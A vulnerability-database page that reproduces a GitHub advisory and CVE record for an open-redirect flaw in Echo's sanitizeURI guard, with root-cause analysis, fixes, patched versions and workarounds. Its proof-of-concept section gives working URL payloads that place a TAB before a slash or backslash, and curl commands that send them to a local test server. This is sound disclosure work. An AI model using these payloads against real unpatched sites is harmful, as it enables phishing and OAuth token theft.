Vulnerability-Lookup

GHSA-V753-G4CW-JM48

Vulnerability from github – Published: 2026-10-28 21:04 – Updated: 2026-10-28 21:04

Summary

Echo has Open Redirect via Control-Character Prefix Defeating sanitizeURI

Details

Summary

Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.

Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.

Technical background

The guard

middleware/slash.go:144 (duplicated verbatim at echo.go:958):

func sanitizeURI(uri string) string {
    // double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
    // we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
    if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
        uri = "/" + strings.TrimLeft(uri, `/\`)
    }
    return uri
}

The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.

Data flow

RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:

path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
    path = path[:l]
    uri := path
    if qs != "" {
        uri += "?" + qs
    }
    if config.RedirectCode != 0 {
        return c.Redirect(config.RedirectCode, sanitizeURI(uri))   // line 132
    }

AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.
A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.
Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.

Conditional analysis

Guard: uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.
Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.
Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed Location.

Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.

Proof of concept

Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow ECHO-2026-002/README.md for the full walkthrough. The archive contains a self-contained Go module (go.mod, go.sum, main.go, README.md).

ECHO-2026-002_poc.zip

Quick start:

unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run .          # in-process check
GOFLAGS=-mod=mod go run . -serve   # real listener on 127.0.0.1:18002

Environment used for verification

OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64
Go: go1.27.0 linux/amd64
Target: Echo v5.3.1 (module github.com/labstack/echo/v5)
Browser: headless Chromium drove the end-to-end confirmation

The vulnerable configuration

package main

import (
    "net/http"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
        RedirectCode: http.StatusMovedPermanently,
    }))
    e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
    _ = e.Start("127.0.0.1:18002")
}

Reproduction

In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading // starts an authority):

GOFLAGS=-mod=mod go run .

GET                          code   Location (control chars shown) browser navigates to
/normal/path/                301    /normal/path           (victim origin)
                             control: ordinary path, sanitized correctly
/%09/attacker.example/x/     301    /^I/attacker.example/x attacker.example
                             exploit: TAB then slash
/%09%5Cattacker.example/x/   301    /^I\attacker.example/x attacker.example
                             exploit: TAB then backslash
/..%09/attacker.example/     301    /..^I/attacker.example (victim origin)
                             NOT exploitable: TAB is not at index 1
/%09//attacker.example/      301    /^I//attacker.example  (victim origin)
                             NOT exploitable: three slashes is an empty authority

RESULT: reproducible. ...

^I is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.

Over the wire, with the -serve variant running on 127.0.0.1:18002:

Show the malformed Location on the wire. No backslash is needed for this variant:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x

cat -A renders the tab as ^I, confirming it is a literal byte in the header.

Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x     (net/http rewrote LF to a space)

Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:

http://127.0.0.1:18002/%09/127.0.0.1:18099/x/

Observed in headless Chromium:

finalUrl: http://127.0.0.1:18099/x

The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.

Exit status 0 means the finding reproduced; 1 means an expectation was violated.

Impact

An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:

Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice.
OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens.
Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.

The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.

Recommended fixes

Normalize before deciding, instead of probing two fixed offsets.

func sanitizeURI(uri string) string {
    // Strip control characters that browsers remove before parsing, so they cannot
    // be used to shift a separator out of the checked positions.
    uri = strings.Map(func(r rune) rune {
        if r < 0x20 || r == 0x7f {
            return -1
        }
        return r
    }, uri)
    // Collapse any leading separator run (both slash kinds) to a single slash.
    if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) {
        trimmed := strings.TrimLeft(uri, `/\`)
        if len(trimmed) != len(uri) {
            return "/" + trimmed
        }
    }
    return uri
}

Additional hardening:

Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.
Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI.
Add a regression test for each variant (%09/, %09%5C, %0A/) against both trailing-slash middlewares. There is currently no test that asserts sanitizeURI behavior at all.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.

Workarounds

Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/labstack/echo/v5"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/labstack/echo/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-118656"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:04:22Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nEcho\u0027s dedicated open-redirect guard, `sanitizeURI`, decides whether a redirect target is a local path by inspecting exactly two byte positions: `uri[0]` and `uri[1]`. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the `Location` header unchanged.\n\nBrowsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A `Location` value of ``/\\t/attacker.example`` is therefore resolved by the browser as an absolute URL on `attacker.example`. Confirmed end to end in a headless browser.\n\n## Technical background\n\n### The guard\n\n`middleware/slash.go:144` (duplicated verbatim at `echo.go:958`):\n\n```go\nfunc sanitizeURI(uri string) string {\n\t// double slash `\\\\`, `//` or even `\\/` is absolute uri for browsers and by redirecting request to that uri\n\t// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash\n\tif len(uri) \u003e 1 \u0026\u0026 (uri[0] == \u0027\\\\\u0027 || uri[0] == \u0027/\u0027) \u0026\u0026 (uri[1] == \u0027\\\\\u0027 || uri[1] == \u0027/\u0027) {\n\t\turi = \"/\" + strings.TrimLeft(uri, `/\\`)\n\t}\n\treturn uri\n}\n```\n\nThe condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.\n\n### Data flow\n\n1. `RemoveTrailingSlash` (`middleware/slash.go:112-140`) reads `url.Path`, which `net/http` has already percent-decoded, strips the trailing slash, and appends the raw query string:\n\n```go\npath := url.Path\n...\nif l \u003e 0 \u0026\u0026 strings.HasSuffix(path, \"/\") {\n    path = path[:l]\n    uri := path\n    if qs != \"\" {\n        uri += \"?\" + qs\n    }\n    if config.RedirectCode != 0 {\n        return c.Redirect(config.RedirectCode, sanitizeURI(uri))   // line 132\n    }\n```\n\n2. `AddTrailingSlash` does the same in the opposite direction at `middleware/slash.go:67`.\n\n3. A request for `/%09/attacker.example/x/` has `url.Path` equal to `\"/\\t/attacker.example/x/\"` (a literal TAB byte). `sanitizeURI` evaluates `uri[0] == \u0027\\t\u0027`, the condition is false, and the value passes through untouched.\n\n4. `Context.Redirect` (`context.go:735`) writes it to the `Location` header. Go\u0027s header writer removes CR and LF but leaves TAB, which is all that is required.\n\n### Conditional analysis\n\n- Guard: `uri[0]` and `uri[1]` are separators. Trust boundary: server-side sanitization of attacker-influenced path data.\n- Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard\u0027s second condition (`uri[1]` being a separator) is never reached because the first condition (`uri[0]` being a separator) already failed.\n- Browser-side trust boundary: the client\u0027s URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed `Location`.\n\nNote that the newline variant does not survive: `net/http` replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.\n\n## Proof of concept\n\n**Attached PoC:** `ECHO-2026-002_poc.zip` (in this directory). Extract it and follow\n`ECHO-2026-002/README.md` for the full walkthrough. The archive contains a\nself-contained Go module (`go.mod`, `go.sum`, `main.go`, `README.md`).\n\n[ECHO-2026-002_poc.zip](https://github.com/user-attachments/files/32133975/ECHO-2026-002_poc.zip)\n\nQuick start:\n\n```bash\nunzip ECHO-2026-002_poc.zip\ncd ECHO-2026-002\n# edit go.mod: point the replace directive at your Echo checkout\nsed -i \u0027s|=\u003e .*|=\u003e /absolute/path/to/echo|\u0027 go.mod\nGOFLAGS=-mod=mod go run .          # in-process check\nGOFLAGS=-mod=mod go run . -serve   # real listener on 127.0.0.1:18002\n```\n\n### Environment used for verification\n\n- OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64\n- Go: go1.27.0 linux/amd64\n- Target: Echo v5.3.1 (module `github.com/labstack/echo/v5`)\n- Browser: headless Chromium drove the end-to-end confirmation\n\n### The vulnerable configuration\n\n```go\npackage main\n\nimport (\n    \"net/http\"\n\n    \"github.com/labstack/echo/v5\"\n    \"github.com/labstack/echo/v5/middleware\"\n)\n\nfunc main() {\n    e := echo.New()\n    e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{\n        RedirectCode: http.StatusMovedPermanently,\n    }))\n    e.GET(\"/\", func(c *echo.Context) error { return c.String(200, \"home\") })\n    _ = e.Start(\"127.0.0.1:18002\")\n}\n```\n\n***\n\n### Reproduction\n\nIn-process check. The program requests five path shapes and applies the browser\nURL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a\nleading `//` starts an authority):\n\n```bash\nGOFLAGS=-mod=mod go run .\n```\n\n```\nGET                          code   Location (control chars shown) browser navigates to\n/normal/path/                301    /normal/path           (victim origin)\n                             control: ordinary path, sanitized correctly\n/%09/attacker.example/x/     301    /^I/attacker.example/x attacker.example\n                             exploit: TAB then slash\n/%09%5Cattacker.example/x/   301    /^I\\attacker.example/x attacker.example\n                             exploit: TAB then backslash\n/..%09/attacker.example/     301    /..^I/attacker.example (victim origin)\n                             NOT exploitable: TAB is not at index 1\n/%09//attacker.example/      301    /^I//attacker.example  (victim origin)\n                             NOT exploitable: three slashes is an empty authority\n\nRESULT: reproducible. ...\n```\n\n`^I` is a literal TAB byte. The last two rows are deliberate negatives, included\nso the mechanism (the guard reads only `uri[0]` and `uri[1]`) is unambiguous.\n\nOver the wire, with the `-serve` variant running on `127.0.0.1:18002`:\n\n1. Show the malformed `Location` on the wire. No backslash is needed for this variant:\n\n```bash\ncurl -s -i --max-time 5 \u0027http://127.0.0.1:18002/%09/attacker.example/x/\u0027 | cat -A | head -3\n# HTTP/1.1 301 Moved Permanently\n# Location: /^I/attacker.example/x\n```\n\n`cat -A` renders the tab as `^I`, confirming it is a literal byte in the header.\n\n2. Show that LF does NOT work, which proves the mechanism is the guard\u0027s fixed\n   byte offsets rather than generic header injection:\n\n```bash\ncurl -s -i --max-time 5 \u0027http://127.0.0.1:18002/%0A/attacker.example/x/\u0027 | cat -A | head -3\n# Location: / /attacker.example/x     (net/http rewrote LF to a space)\n```\n\n3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then\n   open this URL in a browser:\n\n```\nhttp://127.0.0.1:18002/%09/127.0.0.1:18099/x/\n```\n\nObserved in headless Chromium:\n\n```\nfinalUrl: http://127.0.0.1:18099/x\n```\n\nThe browser left the victim origin entirely, so this is a working open redirect,\nnot merely a suspicious header.\n\nExit status `0` means the finding reproduced; `1` means an expectation was\nviolated.\n\n## Impact\n\nAn attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:\n\n- Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual \"check the domain\" advice.\n- OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin\u0027s redirects being local can be chained to leak authorization codes or access tokens.\n- Referrer and cache poisoning of downstream logic that treats the victim origin\u0027s redirects as trustworthy.\n\nThe client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.\n\n## Recommended fixes\n\nNormalize before deciding, instead of probing two fixed offsets.\n\n```go\nfunc sanitizeURI(uri string) string {\n\t// Strip control characters that browsers remove before parsing, so they cannot\n\t// be used to shift a separator out of the checked positions.\n\turi = strings.Map(func(r rune) rune {\n\t\tif r \u003c 0x20 || r == 0x7f {\n\t\t\treturn -1\n\t\t}\n\t\treturn r\n\t}, uri)\n\t// Collapse any leading separator run (both slash kinds) to a single slash.\n\tif strings.ContainsAny(uri[:min(len(uri), 1)], `/\\`) {\n\t\ttrimmed := strings.TrimLeft(uri, `/\\`)\n\t\tif len(trimmed) != len(uri) {\n\t\t\treturn \"/\" + trimmed\n\t\t}\n\t}\n\treturn uri\n}\n```\n\nAdditional hardening:\n\n1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.\n2. Apply the same normalization to the `Location` value in `Context.Redirect` so every caller benefits, instead of relying on each call site to call `sanitizeURI`.\n3. Add a regression test for each variant (`%09/`, `%09%5C`, `%0A/`) against both trailing-slash middlewares. There is currently no test that asserts `sanitizeURI` behavior at all.\n\n## Patches\n\nFixed in `github.com/labstack/echo/v5` v5.4.0 and `github.com/labstack/echo/v4` v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.\n\n## Workarounds\n\nUse the trailing slash middlewares without `RedirectCode` (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.",
  "id": "GHSA-v753-g4cw-jm48",
  "modified": "2026-10-28T21:04:22Z",
  "published": "2026-10-28T21:04:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/security/advisories/GHSA-v753-g4cw-jm48"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/labstack/echo"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/releases/tag/v4.16.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/labstack/echo/releases/tag/v5.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Echo has Open Redirect via Control-Character Prefix Defeating sanitizeURI"
}

CVE-2026-118656 (GCVE-0-2026-118656)

Vulnerability from cvelistv5 – Published: 2026-10-28 20:12 – Updated: 2026-10-29 17:23

Title

Echo: Open Redirect via Control-Character Prefix Defeating sanitizeURI

Summary

Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, sanitizeURI checks only the first two bytes of a redirect target before deciding whether it begins with an absolute-path separator pair. When AddTrailingSlash or RemoveTrailingSlash is configured with a redirect status, a slash, TAB, separator path form can evade the guard, be emitted in the Location header, and be normalized by a browser into an attacker-controlled host. This issue is fixed in 4.16.0 and 5.4.0.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-29 15:29 UTC

CWE

CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7994 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/labstack/echo/security/advisor…	x_refsource_CONFIRM
https://github.com/labstack/echo/commit/b838391e2…	x_refsource_MISC
https://github.com/labstack/echo/commit/fc410094b…	x_refsource_MISC
https://github.com/labstack/echo/releases/tag/v4.16.0	x_refsource_MISC
https://github.com/labstack/echo/releases/tag/v5.4.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
labstack	echo	Affected: >= 5.0.0, < 5.4.0 Affected: < 4.16.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-118656",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-29T15:29:15.771728Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-29T17:23:39.728Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "echo",
          "vendor": "labstack",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 5.0.0, \u003c 5.4.0"
            },
            {
              "status": "affected",
              "version": "\u003c 4.16.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Echo is a Go web framework. Prior to 4.16.0 and 5.4.0, sanitizeURI checks only the first two bytes of a redirect target before deciding whether it begins with an absolute-path separator pair. When AddTrailingSlash or RemoveTrailingSlash is configured with a redirect status, a slash, TAB, separator path form can evade the guard, be emitted in the Location header, and be normalized by a browser into an attacker-controlled host. This issue is fixed in 4.16.0 and 5.4.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-601",
              "description": "CWE-601: URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-28T20:12:13.757Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/labstack/echo/security/advisories/GHSA-v753-g4cw-jm48",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/labstack/echo/security/advisories/GHSA-v753-g4cw-jm48"
        },
        {
          "name": "https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/commit/b838391e2eade87ae7e5a09d7bb5087bec271ec1"
        },
        {
          "name": "https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/commit/fc410094b2f3415cf2bf5204082137b205bfd5af"
        },
        {
          "name": "https://github.com/labstack/echo/releases/tag/v4.16.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/releases/tag/v4.16.0"
        },
        {
          "name": "https://github.com/labstack/echo/releases/tag/v5.4.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/labstack/echo/releases/tag/v5.4.0"
        }
      ],
      "source": {
        "advisory": "GHSA-v753-g4cw-jm48",
        "discovery": "UNKNOWN"
      },
      "title": "Echo: Open Redirect via Control-Character Prefix Defeating sanitizeURI"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-118656",
    "datePublished": "2026-10-28T20:12:13.757Z",
    "dateReserved": "2026-10-28T17:25:37.561Z",
    "dateUpdated": "2026-10-29T17:23:39.728Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-V753-G4CW-JM48

Summary

Technical background

The guard

Data flow

Conditional analysis

Proof of concept

Environment used for verification

The vulnerable configuration

Reproduction

Impact

Recommended fixes

Patches

Workarounds

CVE-2026-118656 (GCVE-0-2026-118656)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour